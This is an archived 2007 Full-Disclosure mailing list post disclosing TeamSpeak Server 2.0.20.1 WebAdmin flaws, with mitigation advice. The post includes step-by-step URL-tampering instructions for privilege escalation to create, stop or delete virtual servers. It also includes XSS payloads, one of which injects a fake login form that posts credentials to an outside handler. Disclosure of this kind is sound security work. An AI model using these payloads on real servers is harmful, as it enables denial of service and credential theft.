Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | [Full-disclosure] Teamspeak Server 2.0.20.1 Vulnerabilities |
|---|---|
| Date: | Fri, 11 May 2007 15:52:43 +0200 |
Hi everyone, several months ago I discovered some vulnerabilities in TeamSpeak Server WebAdmin interface. I sent the advisory and exploit to the developers about two months ago (11 03 2007), but the server is still vulnerable, today. Affected software: Teamspeak Server 2.0.20.1 Looks like the beta build 2.0.23.15 isn't affected (or at least my exploit doesn't work on that). 1) Privilege escalation can lead to Service Abuse or Denial of Service ======================================================================= TeamSpeak server is based on a "site" and multiple "virtual servers". On each "site" there are one or more SuperAdmin users that can manage the site configuration, adding more SuperAdmin users, adding, starting, stopping or removing virtual servers or even manage each single server, by selecting it from the web interface or the text-based one. Each virtual server has one or more ServerAdmin users that can modify virtual server parameters (like the name), adding new users for the specified server (also new ServerAdmin users) and modify user privileges relative to that virtual server. The problem lies on the RegisteredUser privileges configuration page: in that page are listed privileges intended to be associated to the SuperAdmin role, like AdminAddServer or AdminStartServer. By activating these privileges for the RegisteredUsers role, loggin in with a new RegisteredUser account and doing some simple url tampering it is possible to CREATE, START, STOP and DELETE virtual servers to the site, without SuperAdmin access. What is required: - ServerAdmin access to the web interface Here is a simple exploit pattern: * As Server Admin with WebAdmin access: - check AccessWebAdminServer, AdminAddServer, AdminDeleteServer, AdminStartServer, AdminStopServer privileges for Registered users - create a new registered user - logout * As Registered User with WebAdmin access you can create a new virtual server: - login with the new account - change the url to http://your_site:your_port/server_manager_add.html - ADD NEW SERVER!!! (maybe you want to restrict codecs to get a usable default, like speex 12) - change the url to http://your_site:your_port/start_server.tscmd?serverid=N where N is the server ID (may require some guessing!) - NOW THE SERVER IS ONLINE!!! - Connect as ANONYMOUS to the server and ENJOY :) * As Registered User with WebAdmin access you can **DELETE** any existing virtual server: - login with the new account - change the url to http://10.7.7.20:14534/ask_delete_server.tscmd?serverid=N where N is a number starting from 1 - if you click YES you can **DELETE** any virtual server * As Registered User with WebAdmin access you can START or STOP any existing server: - login as Registered User - change the url to http://your_site:your_port/start_server.tscmd?serverid=N to start any server - change the url to http://your_site:your_port/stop_server.tscmd?serverid=N to stop any server 2) Cross Site Scripting ======================== Pages ok_box.html and error_box.html are vulnerable to common Cross Site Scripting attacks: http://your_ts_server_here:14534/error_box.html?error_title=session expired - please login&error_text=<form action="http://127.0.0.1:31338/own.cgi">User: <input type="text"><br>Pass: <input type="password"><br><br><input type="submit"></form>&error_url=index.html http://webadmin_uri:14534/ok_box.html?ok_title=%3Cscript% 3Ealert('hello')%3C/script%3E Mitigation ========== Disable WebAdmin access. Upgrade to beta release. Gilberto Ficara (sorry for my bad english :))
tss2_linux_exploit.pl
Description: Perl program
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | Re: [Full-disclosure] Linux big bang theory...., kefka |
|---|---|
| Next by Date: | Re: [Full-disclosure] Teamspeak Server 2.0.20.1 Vulnerabilities, Mads Behrendt Petersen |
| Previous by Thread: | [Full-disclosure] [CAID 35330, 35331]: CA Anti-Virus, CA Threat Manager, and CA Anti-Spyware Console Login and File Mapping Vulnerabilities, Williams, James K |
| Next by Thread: | Re: [Full-disclosure] Teamspeak Server 2.0.20.1 Vulnerabilities, Mads Behrendt Petersen |
| Indexes: | [Date] [Thread] [Top] [All Lists] |